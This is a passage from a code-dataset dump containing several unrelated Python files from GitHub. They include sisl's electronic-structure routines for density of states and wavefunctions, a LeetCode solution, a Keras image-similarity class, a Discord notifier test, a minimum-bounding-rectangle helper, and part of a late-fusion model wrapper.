``len(eig_v[0, :])`` to\n trigger the non-collinear calculation of PDOS.\n distribution : func or str, optional\n a function that accepts :math:`E-\\epsilon` as argument and calculates the\n distribution function.\n spin : str or Spin, optional\n the spin configuration. This is generally only needed when the eigenvectors correspond to a non-collinear\n calculation.\n\n See Also\n --------\n sisl.physics.distribution : a selected set of implemented distribution functions\n DOS : total DOS (same as summing over orbitals)\n spin_moment: spin moment for states\n\n Returns\n -------\n numpy.ndarray\n projected DOS calculated at energies, has dimension ``(eig_v.shape[1], len(E))``.\n For non-collinear calculations it will be ``(4, eig_v.shape[1] // 2, len(E))``, ordered as\n indicated in the above list.\n \"\"\"\n if isinstance(distribution, str):\n distribution = get_distribution(distribution)\n\n # Figure out whether we are dealing with a non-collinear calculation\n if S is None:\n class S(object):\n __slots__ = []\n shape = (eig_v.shape[1], eig_v.shape[1])\n @staticmethod\n def dot(v):\n return v\n\n if spin is None:\n if S.shape[1] == eig_v.shape[1] // 2:\n spin = Spin('nc')\n S = S[::2, ::2]\n else:\n spin = Spin()\n\n # check for non-collinear (or SO)\n if spin.kind > Spin.POLARIZED:\n # Non colinear eigenvectors\n if S.shape[1] == eig_v.shape[1]:\n # Since we are going to reshape the eigen-vectors\n # to more easily get the mixed states, we can reduce the overlap matrix\n S = S[::2, ::2]\n\n # Initialize data\n PDOS = np.empty([4, eig_v.shape[1] // 2, len(E)], dtype=dtype_complex_to_real(eig_v.dtype))\n\n d = distribution(E - eig[0]).reshape(1, -1)\n v = S.dot(eig_v[0].reshape(-1, 2))\n D = (conj(eig_v[0]) * v.ravel()).real.reshape(-1, 2) # diagonal PDOS\n PDOS[0, :, :] = D.sum(1).reshape(-1, 1) * d # total DOS\n PDOS[3, :, :] = (D[:, 0] - D[:, 1]).reshape(-1, 1) * d # z-dos\n D = (conj(eig_v[0, 1::2]) * 2 * v[:, 0]).reshape(-1, 1) # psi_down * psi_up * 2\n PDOS[1, :, :] = D.real * d # x-dos\n PDOS[2, :, :] = D.imag * d # y-dos\n for i in range(1, len(eig)):\n d = distribution(E - eig[i]).reshape(1, -1)\n v = S.dot(eig_v[i].reshape(-1, 2))\n D = (conj(eig_v[i]) * v.ravel()).real.reshape(-1, 2)\n PDOS[0, :, :] += D.sum(1).reshape(-1, 1) * d\n PDOS[3, :, :] += (D[:, 0] - D[:, 1]).reshape(-1, 1) * d\n D = (conj(eig_v[i, 1::2]) * 2 * v[:, 0]).reshape(-1, 1)\n PDOS[1, :, :] += D.real * d\n PDOS[2, :, :] += D.imag * d\n\n else:\n PDOS = (conj(eig_v[0]) * S.dot(eig_v[0])).real.reshape(-1, 1) \\\n * distribution(E - eig[0]).reshape(1, -1)\n for i in range(1, len(eig)):\n PDOS[:, :] += (conj(eig_v[i]) * S.dot(eig_v[i])).real.reshape(-1, 1) \\\n * distribution(E - eig[i]).reshape(1, -1)\n\n return PDOS\n\n\ndef spin_moment(eig_v, S=None):\n r\"\"\" Calculate the spin magnetic moment (also known as spin texture)\n\n This calculation only makes sense for non-collinear calculations.\n\n The returned quantities are given in this order:\n\n - Spin magnetic moment along :math:`x` direction\n - Spin magnetic moment along :math:`y` direction\n - Spin magnetic moment along :math:`z` direction\n\n These are calculated using the Pauli matrices :math:`\\boldsymbol\\sigma_x`, :math:`\\boldsymbol\\sigma_y` and :math:`\\boldsymbol\\sigma_z`:\n\n .. math::\n\n \\mathbf{S}_i^x &= \\langle \\psi_i | \\boldsymbol\\sigma_x \\mathbf S | \\psi_i \\rangle\n \\\\\n \\mathbf{S}_i^y &= \\langle \\psi_i | \\boldsymbol\\sigma_y \\mathbf S | \\psi_i \\rangle\n \\\\\n \\mathbf{S}_i^z &= \\langle \\psi_i | \\boldsymbol\\sigma_z \\mathbf S | \\psi_i \\rangle\n\n Parameters\n ----------\n eig_v : array_like\n vectors describing the electronic states\n S : array_like, optional\n overlap matrix used in the :math:`\\langle\\psi|\\mathbf S|\\psi\\rangle` calculation. If `None` the identity\n matrix is assumed. The overlap matrix should correspond to the system and :math:`k` point the eigenvectors\n have been evaluated at.\n\n Notes\n -----\n This routine cannot check whether the input eigenvectors originate from a non-collinear calculation.\n If a non-polarized eigenvector is passed to this routine, the output will have no physical meaning.\n\n See Also\n --------\n DOS : total DOS\n PDOS : projected DOS\n\n Returns\n -------\n numpy.ndarray\n spin moments per eigenvector with final dimension ``(eig_v.shape[0], 3)``.\n \"\"\"\n if eig_v.ndim == 1:\n return spin_moment(eig_v.reshape(1, -1), S).ravel()\n\n if S is None:\n class S(object):\n __slots__ = []\n shape = (eig_v.shape[1] // 2, eig_v.shape[1] // 2)\n @staticmethod\n def dot(v):\n return v\n\n if S.shape[1] == eig_v.shape[1]:\n S = S[::2, ::2]\n\n # Initialize\n s = np.empty([eig_v.shape[0], 3], dtype=dtype_complex_to_real(eig_v.dtype))\n\n # TODO consider doing this all in a few lines\n # TODO Since there are no energy dependencies here we can actually do all\n # TODO dot products in one go and then use b-casting rules. Should be much faster\n # TODO but also way more memory demanding!\n for i in range(len(eig_v)):\n v = S.dot(eig_v[i].reshape(-1, 2))\n D = (conj(eig_v[i]) * v.ravel()).real.reshape(-1, 2)\n s[i, 2] = (D[:, 0] - D[:, 1]).sum()\n D = 2 * (conj(eig_v[i, 1::2]) * v[:, 0]).sum()\n s[i, 0] = D.real\n s[i, 1] = D.imag\n\n return s\n\n\ndef wavefunction(v, grid, geometry=None, k=None, spinor=0, spin=None, eta=False):\n r\"\"\" Add the wave-function (`Orbital.psi`) component of each orbital to the grid\n\n This routine calculates the real-space wave-function components in the\n specified grid.\n\n This is an *in-place* operation that *adds* to the current values in the grid.\n\n It may be instructive to check that an eigenstate is normalized:\n\n >>> grid = Grid(...) # doctest: +SKIP\n >>> psi(state, grid) # doctest: +SKIP\n >>> (np.abs(grid.grid) ** 2).sum() * grid.dvolume == 1. # doctest: +SKIP\n\n Note: To calculate :math:`\\psi(\\mathbf r)` in a unit-cell different from the\n originating geometry, simply pass a grid with a unit-cell smaller than the originating\n supercell.\n\n The wavefunctions are calculated in real-space via:\n\n .. math::\n \\psi(\\mathbf r) = \\sum_i\\phi_i(\\mathbf r) |\\psi\\rangle_i \\exp(-i\\mathbf k \\mathbf R)\n\n While for non-collinear/spin-orbit calculations the wavefunctions are determined from the\n spinor component (`spinor`)\n\n .. math::\n \\psi_{\\alpha/\\beta}(\\mathbf r) = \\sum_i\\phi_i(\\mathbf r) |\\psi_{\\alpha/\\beta}\\rangle_i \\exp(-i\\mathbf k \\mathbf R)\n\n where ``spinor in [0, 1]`` determines :math:`\\alpha` or :math:`\\beta`, respectively.\n\n Notes\n -----\n Currently this method only works for :math:`\\Gamma` states\n\n Parameters\n ----------\n v : array_like\n coefficients for the orbital expansion on the real-space grid.\n If `v` is a complex array then the `grid` *must* be complex as well.\n grid : Grid\n grid on which the wavefunction will be plotted.\n If multiple eigenstates are in this object, they will be summed.\n geometry : Geometry, optional\n geometry where the orbitals are defined. This geometry's orbital count must match\n the number of elements in `v`.\n If this is ``None`` the geometry associated with `grid` will be used instead.\n k : array_like, optional\n k-point associated with wavefunction, by default the inherent k-point used\n to calculate the eigenstate will be used (generally shouldn't be used unless the `EigenstateElectron` object\n has not been created via `Hamiltonian.eigenstate`).\n spinor : int, optional\n the spinor for non-collinear/spin-orbit calculations. This is only used if the\n eigenstate object has been created from a parent object with a `Spin` object\n contained, *and* if the spin-configuration is non-collinear or spin-orbit coupling.\n Default to the first spinor component.\n spin : Spin, optional\n specification of the spin configuration of the orbital coefficients. This only has\n influence for non-collinear wavefunctions where `spinor` choice is important.\n eta : bool, optional\n Display a console progressbar.\n \"\"\"\n if geometry is None:\n geometry = grid.geometry\n warn('wavefunction was not passed a geometry associated, will use the geometry associated with the Grid.')\n if geometry is None:\n raise SislError('wavefunction did not find a usable Geometry through keywords or the Grid!')\n\n # In case the user has passed several vectors we sum them to plot the summed state\n if v.ndim == 2:\n v = v.sum(0)\n\n if spin is None:\n if len(v) // 2 == geometry.no:\n # We can see from the input that the vector *must* be a non-collinear calculation\n v = v.reshape(-1, 2)[:, spinor]\n info('wavefunction assumes the input wavefunction coefficients to originate from a non-collinear calculation!')\n\n elif spin.kind > Spin.POLARIZED:\n # For non-collinear cases the user selects the spinor component.\n v = v.reshape(-1, 2)[:, spinor]\n\n if len(v) != geometry.no:\n raise ValueError(\"wavefunction require wavefunction coefficients corresponding to number of orbitals in the geometry.\")\n\n # Check for k-points\n k = _a.asarrayd(k)\n kl = (k ** 2).sum() ** 0.5\n has_k = kl > 0.000001\n if has_k:\n raise NotImplementedError('wavefunction for k != Gamma does not produce correct wavefunctions!')\n\n # Check that input/grid makes sense.\n # If the coefficients are complex valued, then the grid *has* to be\n # complex valued.\n # Likewise if a k-point has been passed.\n is_complex = np.iscomplexobj(v) or has_k\n if is_complex and not np.iscomplexobj(grid.grid):\n raise SislError(\"wavefunction input coefficients are complex, while grid only contains real.\")\n\n if is_complex:\n psi_init = _a.zerosz\n else:\n psi_init = _a.zerosd\n\n # Extract sub variables used throughout the loop\n shape = _a.asarrayi(grid.shape)\n dcell = grid.dcell\n ic = grid.sc.icell * shape.reshape(1, -1)\n geom_shape = dot(ic, geometry.cell.T).T\n\n # In the following we don't care about division\n # So 1) save error state, 2) turn off divide by 0, 3) calculate, 4) turn on old error state\n old_err = np.seterr(divide='ignore', invalid='ignore')\n\n addouter = add.outer\n def idx2spherical(ix, iy, iz, offset, dc, R):\n \"\"\" Calculate the spherical coordinates from indices \"\"\"\n rx = addouter(addouter(ix * dc[0, 0], iy * dc[1, 0]), iz * dc[2, 0] - offset[0]).ravel()\n ry = addouter(addouter(ix * dc[0, 1], iy * dc[1, 1]), iz * dc[2, 1] - offset[1]).ravel()\n rz = addouter(addouter(ix * dc[0, 2], iy * dc[1, 2]), iz * dc[2, 2] - offset[2]).ravel()\n # Total size of the indices\n n = rx.shape[0]\n # Reduce our arrays to where the radius is \"fine\"\n idx = indices_le(rx ** 2 + ry ** 2 + rz ** 2, R ** 2)\n rx = rx[idx]\n ry = ry[idx]\n rz = rz[idx]\n xyz_to_spherical_cos_phi(rx, ry, rz)\n return n, idx, rx, ry, rz\n\n # Figure out the max-min indices with a spacing of 1 radian\n rad1 = pi / 180\n theta, phi = ogrid[-pi:pi:rad1, 0:pi:rad1]\n cphi, sphi = cos(phi), sin(phi)\n ctheta_sphi = cos(theta) * sphi\n stheta_sphi = sin(theta) * sphi\n del sphi\n nrxyz = (theta.size, phi.size, 3)\n del theta, phi, rad1\n\n # First we calculate the min/max indices for all atoms\n idx_mm = _a.emptyi([geometry.na, 2, 3])\n rxyz = _a.emptyd(nrxyz)\n rxyz[..., 0] = ctheta_sphi\n rxyz[..., 1] = stheta_sphi\n rxyz[..., 2] = cphi\n # Reshape\n rxyz.shape = (-1, 3)\n idx = dot(ic, rxyz.T)\n idxm = idx.min(1).reshape(1, 3)\n idxM = idx.max(1).reshape(1, 3)\n del ctheta_sphi, stheta_sphi, cphi, idx, rxyz, nrxyz\n\n origo = grid.sc.origo.reshape(1, -1)\n for atom, ia in geometry.atom.iter(True):\n if len(ia) == 0:\n continue\n R = atom.maxR()\n\n # Now do it for all the atoms to get indices of the middle of\n # the atoms\n # The coordinates are relative to origo, so we need to shift (when writing a grid\n # it is with respect to origo)\n xyz = geometry.xyz[ia, :] - origo\n idx = dot(ic, xyz.T).T\n\n # Get min-max for all atoms\n idx_mm[ia, 0, :] = idxm * R + idx\n idx_mm[ia, 1, :] = idxM * R + idx\n\n # Now we have min-max for all atoms\n # When we run the below loop all indices can be retrieved by looking\n # up in the above table.\n\n # Before continuing, we can easily clean up the temporary arrays\n del origo, idx\n\n aranged = _a.aranged\n\n # In case this grid does not have a Geometry associated\n # We can *perhaps* easily attach a geometry with the given\n # atoms in the unit-cell\n sc = grid.sc.copy()\n if grid.geometry is None:\n # Create the actual geometry that encompass the grid\n ia, xyz, _ = geometry.within_inf(sc)\n if len(ia) > 0:\n grid.set_geometry(Geometry(xyz, geometry.atom[ia], sc=sc))\n\n # Instead of looping all atoms in the supercell we find the exact atoms\n # and their supercell indices.\n add_R = _a.zerosd(3) + geometry.maxR()\n # Calculate the required additional vectors required to increase the fictitious\n # supercell by add_R in each direction.\n # For extremely skewed lattices this will be way too much, hence we make\n # them square.\n o = sc.toCuboid(True)\n sc = SuperCell(o._v, origo=o.origo) + np.diag(2 * add_R)\n sc.origo -= add_R\n\n # Retrieve all atoms within the grid supercell\n # (and the neighbours that connect into the cell)\n IA, XYZ, ISC = geometry.within_inf(sc)\n\n r_k = dot(geometry.rcell, k)\n r_k_cell = dot(r_k, geometry.cell)\n phase = 1\n\n # Retrieve progressbar\n eta = tqdm_eta(len(IA), 'wavefunction', 'atom', eta)\n\n # Loop over all atoms in the grid-cell\n for ia, xyz, isc in zip(IA, XYZ - grid.origo.reshape(1, 3), ISC):\n # Get current atom\n atom = geometry.atom[ia]\n\n # Extract maximum R\n R = atom.maxR()\n if R <= 0.:\n warn(\"Atom '{}' does not have a wave-function, skipping atom.\".format(atom))\n eta.update()\n continue\n\n # Get indices in the supercell grid\n idx = (isc.reshape(3, 1) * geom_shape).sum(0)\n idxm = floor(idx_mm[ia, 0, :] + idx).astype(int32)\n idxM = ceil(idx_mm[ia, 1, :] + idx).astype(int32) + 1\n\n # Fast check whether we can skip this point\n if idxm[0] >= shape[0] or idxm[1] >= shape[1] or idxm[2] >= shape[2] or \\\n idxM[0] <= 0 or idxM[1] <= 0 or idxM[2] <= 0:\n eta.update()\n continue\n\n # Truncate values\n if idxm[0] < 0:\n idxm[0] = 0\n if idxM[0] > shape[0]:\n idxM[0] = shape[0]\n if idxm[1] < 0:\n idxm[1] = 0\n if idxM[1] > shape[1]:\n idxM[1] = shape[1]\n if idxm[2] < 0:\n idxm[2] = 0\n if idxM[2] > shape[2]:\n idxM[2] = shape[2]\n\n # Now idxm/M contains min/max indices used\n # Convert to spherical coordinates\n n, idx, r, theta, phi = idx2spherical(aranged(idxm[0], idxM[0]),\n aranged(idxm[1], idxM[1]),\n aranged(idxm[2], idxM[2]), xyz, dcell, R)\n\n # Get initial orbital\n io = geometry.a2o(ia)\n\n if has_k:\n phase = np.exp(-1j * (dot(r_k_cell, isc)))\n # TODO\n # Possibly the phase should be an additional\n # array for the position in the unit-cell!\n # + np.exp(-1j * dot(r_k, spher2cart(r, theta, np.arccos(phi)).T) )\n\n # Allocate a temporary array where we add the psi elements\n psi = psi_init(n)\n\n # Loop on orbitals on this atom, grouped by radius\n for os in atom.iter(True):\n\n # Get the radius of orbitals (os)\n oR = os[0].R\n\n if oR <= 0.:\n warn(\"Orbital(s) '{}' does not have a wave-function, skipping orbital!\".format(os))\n # Skip these orbitals\n io += len(os)\n continue\n\n # Downsize to the correct indices\n if R - oR < 1e-6:\n idx1 = idx.view()\n r1 = r.view()\n theta1 = theta.view()\n phi1 = phi.view()\n else:\n idx1 = indices_le(r, oR)\n # Reduce arrays\n r1 = r[idx1]\n theta1 = theta[idx1]\n phi1 = phi[idx1]\n idx1 = idx[idx1]\n\n # Loop orbitals with the same radius\n for o in os:\n # Evaluate psi component of the wavefunction and add it for this atom\n psi[idx1] += o.psi_spher(r1, theta1, phi1, cos_phi=True) * (v[io] * phase)\n io += 1\n\n # Clean-up\n del idx1, r1, theta1, phi1, idx, r, theta, phi\n\n # Convert to correct shape and add the current atom contribution to the wavefunction\n psi.shape = idxM - idxm\n grid.grid[idxm[0]:idxM[0], idxm[1]:idxM[1], idxm[2]:idxM[2]] += psi\n\n # Clean-up\n del psi\n\n # Step progressbar\n eta.update()\n\n eta.close()\n\n # Reset the error code for division\n np.seterr(**old_err)\n\n\nclass _common_State(object):\n __slots__ = []\n\n def __is_nc(self):\n \"\"\" Internal routine to check whether this is a non-collinear calculation \"\"\"\n try:\n return self.parent.spin > Spin.POLARIZED\n except:\n return False\n\n def Sk(self, format='csr', spin=None):\n r\"\"\" Retrieve the overlap matrix corresponding to the originating parent structure.\n\n When ``self.parent`` is a Hamiltonian this will return :math:`\\mathbf S(k)` for the\n :math:`k`-point these eigenstates originate from\n\n Parameters\n ----------\n format: str, optional\n the returned format of the overlap matrix. This only takes effect for\n non-orthogonal parents.\n spin : Spin, optional\n for non-collinear spin configurations the *fake* overlap matrix returned\n will have halve the size of the input matrix. If you want the *full* overlap\n matrix, simply do not specify the `spin` argument.\n \"\"\"\n\n if isinstance(self.parent, SparseOrbitalBZSpin):\n # Calculate the overlap matrix\n if not self.parent.orthogonal:\n opt = {'k': self.info.get('k', (0, 0, 0)),\n 'format': format}\n gauge = self.info.get('gauge', None)\n if not gauge is None:\n opt['gauge'] = gauge\n return self.parent.Sk(**opt)\n\n class __FakeSk(object):\n \"\"\" Replacement object which superseedes a matrix \"\"\"\n __slots__ = []\n shape = (self.shape[1], self.shape[1])\n @staticmethod\n def dot(v):\n return v\n\n if spin is None:\n return __FakeSk\n if spin.kind > Spin.POLARIZED:\n class __FakeSk(object):\n \"\"\" Replacement object which superseedes a matrix \"\"\"\n __slots__ = []\n shape = (self.shape[1] // 2, self.shape[1] // 2)\n @staticmethod\n def dot(v):\n return v\n return __FakeSk\n\n def norm2(self, sum=True):\n r\"\"\" Return a vector with the norm of each state :math:`\\langle\\psi|\\psi\\rangle`\n\n Parameters\n ----------\n sum : bool, optional\n if true the summed orbital square is returned (a vector). For false a matrix\n with normalization squared per orbital is returned.\n\n Returns\n -------\n numpy.ndarray\n the normalization on each orbital for each state\n \"\"\"\n # Retrieve the overlap matrix (FULL S is required for NC)\n S = self.Sk()\n\n # TODO, perhaps check that it is correct... and fix multiple transposes\n if sum:\n if self.__is_nc():\n return (conj(self.state) * S.dot(self.state.T).T).real.reshape(len(self), -1, 2).sum(-1).sum(0)\n return (conj(self.state) * S.dot(self.state.T).T).real.sum(0)\n if self.__is_nc():\n return (conj(self.state) * S.dot(self.state.T).T).real.reshape(len(self), -1, 2).sum(-1)\n return (conj(self.state) * S.dot(self.state.T).T).real\n\n def spin_moment(self):\n r\"\"\" Calculate spin moment from the states\n\n This routine calls `sisl.physics.electrons.spin_moment` with appropriate arguments\n and returns the spin moment for the states.\n\n See `sisl.physics.electrons.spin_moment` for argument details.\n \"\"\"\n try:\n spin = self.parent.spin\n except:\n spin = None\n return spin_moment(self.state, self.Sk(spin=spin))\n\n def wavefunction(self, grid, spinor=0, eta=False):\n r\"\"\" Expand the coefficients as the wavefunction on `grid` *as-is*\n\n See `sisl.physics.electron.wavefunction` for argument details.\n \"\"\"\n try:\n spin = self.parent.spin\n except:\n spin = None\n\n if isinstance(self.parent, Geometry):\n geometry = self.parent\n else:\n try:\n geometry = self.parent.geometry\n except:\n geometry = None\n\n # Retrieve k\n k = self.info.get('k', _a.zerosd(3))\n\n wavefunction(self.state, grid, geometry=geometry, k=k, spinor=spinor,\n spin=spin, eta=eta)\n\n # TODO to be deprecated\n psi = wavefunction\n\n\nclass CoefficientElectron(Coefficient):\n \"\"\" Coefficients describing some physical quantity related to electrons \"\"\"\n __slots__ = []\n\n\nclass StateElectron(_common_State, State):\n \"\"\" A state describing a physical quantity related to electrons \"\"\"\n __slots__ = []\n\n\nclass StateCElectron(_common_State, StateC):\n \"\"\" A state describing a physical quantity related to electrons, with associated coefficients of the state \"\"\"\n __slots__ = []\n\n\nclass EigenvalueElectron(CoefficientElectron):\n \"\"\" Eigenvalues of electronic states, no eigenvectors retained\n\n This holds routines that enable the calculation of density of states.\n \"\"\"\n __slots__ = []\n\n @property\n def eig(self):\n return self.c\n\n def DOS(self, E, distribution='gaussian'):\n r\"\"\" Calculate DOS for provided energies, `E`.\n\n This routine calls `sisl.physics.electrons.DOS` with appropriate arguments\n and returns the DOS.\n\n See `sisl.physics.electrons.DOS` for argument details.\n \"\"\"\n return DOS(E, self.eig, distribution)\n\n\nclass EigenvectorElectron(StateElectron):\n \"\"\" Eigenvectors of electronic states, no eigenvalues retained\n\n This holds routines that enable the calculation of spin moments.\n \"\"\"\n __slots__ = []\n\n\nclass EigenstateElectron(StateCElectron):\n \"\"\" Eigen states of electrons with eigenvectors and eigenvalues.\n\n This holds routines that enable the calculation of (projected) density of states,\n spin moments (spin texture).\n \"\"\"\n __slots__ = []\n\n @property\n def eig(self):\n return self.c\n\n def DOS(self, E, distribution='gaussian'):\n r\"\"\" Calculate DOS for provided energies, `E`.\n\n This routine calls `sisl.physics.electrons.DOS` with appropriate arguments\n and returns the DOS.\n\n See `sisl.physics.electrons.DOS` for argument details.\n \"\"\"\n return DOS(E, self.c, distribution)\n\n def PDOS(self, E, distribution='gaussian'):\n r\"\"\" Calculate PDOS for provided energies, `E`.\n\n This routine calls `sisl.physics.electrons.PDOS` with appropriate arguments\n and returns the PDOS.\n\n See `sisl.physics.electrons.PDOS` for argument details.\n \"\"\"\n try:\n spin = self.parent.spin\n except:\n spin = None\n return PDOS(E, self.c, self.state, self.Sk(spin=spin), distribution, spin)\n","repo_name":"qftphys/Scientific-Python-toolbox-for-large-scale-tight-binding-and-electronic-structure-transport-calculati","sub_path":"sisl/physics/electron.py","file_name":"electron.py","file_ext":"py","file_size_in_byte":30030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33156518909","text":"class Solution:\n\tdef minimizeArrayValue(self, nums: List[int]) -> int:\n\t\tmn = 0\n\n\t\tsm = 0\n\t\tfor i,num in enumerate(nums):\n\t\t\tsm += nums[i]\n\t\t\taverage = math.ceil(sm/(i+1))\n\n\t\t\tmn = max(mn, average)\n\n\t\treturn mn\n","repo_name":"IamFaizanKhalid/problem-solving","sub_path":"leetcode.com/problems/minimize-maximum-of-array/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21203850916","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom keras.models import Model\nfrom keras.preprocessing.image import load_img,img_to_array\nfrom keras.applications.imagenet_utils import preprocess_input\n\nclass Solver:\n\n \"\"\"\n initiates Solver instance receiving the following parameters:\n model: pre-trained model instance used to predict the nearest images\n imgs: array containing the images ids, used to find those in the given path\n path: directory where the image files can be found\n \"\"\"\n def __init__(self, model, imgs, path):\n self.model = model\n self.imgs = imgs\n self.images_path = path\n self.image_width = 224\n self.image_height = 224\n self.solver = Model(inputs=self.model.input,outputs=self.model.layers[-2].output)\n self.processed_image = self.pre_process()\n self.sim_table = self.get_prediction_matrix(self.processed_image)\n\n def __process_img__(self, img, path):\n\n \"\"\"\n if path == \"\":\n path = self.images_path\n \"\"\"\n try :\n return load_img(self.images_path + img + '.png',\n target_size=(self.image_width, self.image_height))\n except OSError :\n # image unreadable // remove from list\n self.imgs = [x for x in self.imgs if x != img]\n pass\n\n def pre_process(self):\n\n dense_mat = None\n\n try:\n\n #get image required dimensions from model\n img_width = self.image_width\n img_height = self.image_height\n\n pictures_array = []\n for file_name in self.imgs:\n try:\n original = load_img(self.images_path + file_name + '.png', target_size=(224, 224))\n numpy_image = img_to_array(original)\n image = np.expand_dims(numpy_image, axis=0)\n pictures_array.append(image)\n except Exception as err:\n print(err)\n images = np.vstack(pictures_array)\n dense_mat = preprocess_input(images)\n return dense_mat\n\n except Exception as err:\n print(\"deu erroooo: \" + str(err))\n\n def get_prediction_matrix(self, dense_mat):\n\n solver = self.solver\n imgs_features = solver.predict(dense_mat)\n cos_similarities = cosine_similarity(imgs_features)\n cos_similarities_df = pd.DataFrame(cos_similarities,\n columns=self.imgs[:len(self.imgs)],\n index=self.imgs[:len(self.imgs)])\n return cos_similarities_df\n\n def predict(self, given_img, nb_closest_images = 3):\n original = self.__process_img__(given_img, path=\"\")\n plt.imshow(original)\n plt.show()\n\n print(\"-----------------------------------------------------------------------\")\n print(\"most similar manga:\")\n\n closest_imgs = self.sim_table[given_img].sort_values(ascending=False)[1:nb_closest_images+1].index\n closest_imgs_scores = self.sim_table[given_img].sort_values(ascending=False)[1:nb_closest_images+1]\n print(len(closest_imgs))\n for i in range(0,len(closest_imgs)):\n original = self.__process_img__(closest_imgs[i])\n print(closest_imgs[i])\n plt.imshow(original)\n plt.show()\n print(\"similarity score : \",closest_imgs_scores[i])\n print(closest_imgs_scores)\n print(closest_imgs)\n","repo_name":"fernandocostar/blackbox-final-project","sub_path":"Solver.py","file_name":"Solver.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70251941262","text":"import unittest\n\nfrom notification.notification_subscriber import DiscordSubscriber\nfrom notification.service.notification_service import INotificationService\n\n\nclass MockDiscordService(INotificationService):\n\n def __init__(self):\n self.last_message = \"\"\n\n async def send_notification(self, message: str) -> None:\n self.last_message = message\n\n def get_last_message(self) -> str:\n return self.last_message\n\n\nclass TestDiscordNotify(unittest.IsolatedAsyncioTestCase):\n async def test_discord_notify(self):\n mock_discord_service = MockDiscordService()\n dc_subscriber = DiscordSubscriber(mock_discord_service)\n await dc_subscriber.notify(\"Hello World\")\n self.assertEqual(mock_discord_service.get_last_message(), \"Hello World\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"grygy/another-todo-app","sub_path":"notification_service/tests/notification/test_notification_subscriber.py","file_name":"test_notification_subscriber.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13830294519","text":"from shapely.geometry import MultiPoint\nfrom shapely.affinity import rotate\nimport math\n\n\ndef get_minimum_bounding_rectangle(points):\n obj = MultiPoint(points)\n convex_hull = obj.convex_hull\n rotating_center = convex_hull.centroid\n convex_hull_points = convex_hull.exterior.coords\n min_area = None\n mbr = None\n mbr_angle = None\n\n for i in range(len(convex_hull_points) - 2):\n point_a = points[i]\n point_b = points[i + 1]\n\n opposite = point_b[1] - point_a[1]\n adjacent = point_b[0] - point_a[0]\n\n if adjacent == 0:\n angle = math.pi / 2\n else:\n angle = math.atan(opposite / float(adjacent))\n\n obj_rotated = rotate(convex_hull, -angle, origin=rotating_center,\n use_radians=True)\n\n if min_area is None or obj_rotated.envelope.area < min_area:\n min_area = obj_rotated.envelope.area\n mbr = obj_rotated.envelope\n mbr_angle = angle\n\n # rotate back\n mbr = rotate(mbr, mbr_angle, origin=rotating_center, use_radians=True)\n\n # return rectangle vertices coordinates\n return list(mbr.exterior.coords)\n","repo_name":"kaygorodov/pyenvelope","sub_path":"pyenvelope.py","file_name":"pyenvelope.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"28891324843","text":"import numpy as np\nfrom test_framework.model_interface import ModelInterface\n\n'''\nDefines a wrapper for general late fusion multimodal models\nYou only need pass a valid list of models (which have train and predict functions fleshed out)\nand then pass those as a list to an instance of this model\n'''\n\n\nclass LateFusionModel(ModelInterface):\n '''\n Instantiate a late fusion model with its unimodal components being the models in this list.\n Parameters:\n (list): list of objects that implement the ModelInterface.\n These will be used as part of the prediction method\n ((*args) -> np.ndarray: this function will be used to combine predictions from the models\n E.g., if we used the MEAN function, then preditions would be averaged. (For a probability distribution, this would have to be renormalized)\n '''\n def __init__(self, models, combination_function, active_learning_function=None,\n name=None, details=None):\n self.models = models\n self.combination_function = combination_function\n self.active_learning_function = active_learning_function\n\n self._name = name\n self._details = details\n\n # IDENTIFIER METHODS\n '''\n Unique name/ID for the model. This may be used by Tester to label plots and performance metrics.\n Returns:\n (str): Name for model\n '''\n def name(self) -> str:\n if self._name is None:\n return \"Multimodal Late Fusion with component models \" + \"_\".join(model.name() for model in self.models)\n return self._name\n\n '''\n Extra details about the model. May be used to specify hyperparameter values, etc which distinguish the\n model from others but don't fit in the shorthand name.\n '''\n def details(self) -> str:\n if self._details is None:\n return \"_\".join(model.details() for model in self.models)\n return self._details\n\n # INTERACTION METHODS\n '''\n Function called to request that the model train on the given training dataset. Training should pass\n through the dataset only once (1 epoch). Testing framework will call repeatedly to achieve multiple epochs.\n Args:\n train_x (np.ndarray): Training inputs, with batch as the first axis.\n In this case, these should have shape len(self.models), shape_of_data_for_each_modality\n In other words, the index into axis0 gives the index of the modality\n train_y (np.ndarray): Training outputs for supervised learning, with batch as the first axis.\n Should have shape (num_examples)\n Returns:\n (float): Average training loss\n '''\n def train(self, train_x: np.ndarray, train_y: np.ndarray) -> None:\n swapped_axes_train_x = np.swapaxes(train_x, 0,1) # this has shape num_modalities, shape_of_unimodal_data\n for i,model in enumerate(self.models):\n model.train(swapped_axes_train_x[i], train_y)\n\n '''\n Function called to request that the model predict outputs for the given val/test dataset.\n Args:\n test_x (np.ndarray): Testing inputs, with batch as the first axis.\n Should have shape len(self.models),shape_of_each_modality\n Returns:\n (np.ndarray): Network outputs, with batch as the first axis, corresponding to each sample\n in test_x.\n '''\n\n def predict(self, test_x: np.ndarray) -> np.ndarray:\n # note: I think there's a better way to create the np array passed an argument below.\n swapped_axes_test_x = np.swapaxes(test_x, 0, 1)\n probabilities = self.combination_function(np.array([self.models[i].predict_proba(swapped_axes_test_x[i]) for i in range(len(self.models))]))\n return np.argmax(probabilities,axis=1).reshape(-1,)\n\n '''\n Function called to request that the model use its active learning algorithm to choose a subset of\n 'unlabeled' samples, which will then be labeled and added to the training set.\n NOTE: The default implementation for this function samples randomly from the unlabeled set.\n Args:\n unlabeled_data (np.ndarray): Batch of 'unlabeled' inputs from the dataset which are available to be\n labeled and added to the training dataset in the next training iteration.\n labeling_batch_size (int): Number of 'unlabeled' inputs which should be chosen for labeling.\n Returns:\n (np.ndarray): 1-D array of indices into the array, indicating which samples should be\n labeled and added 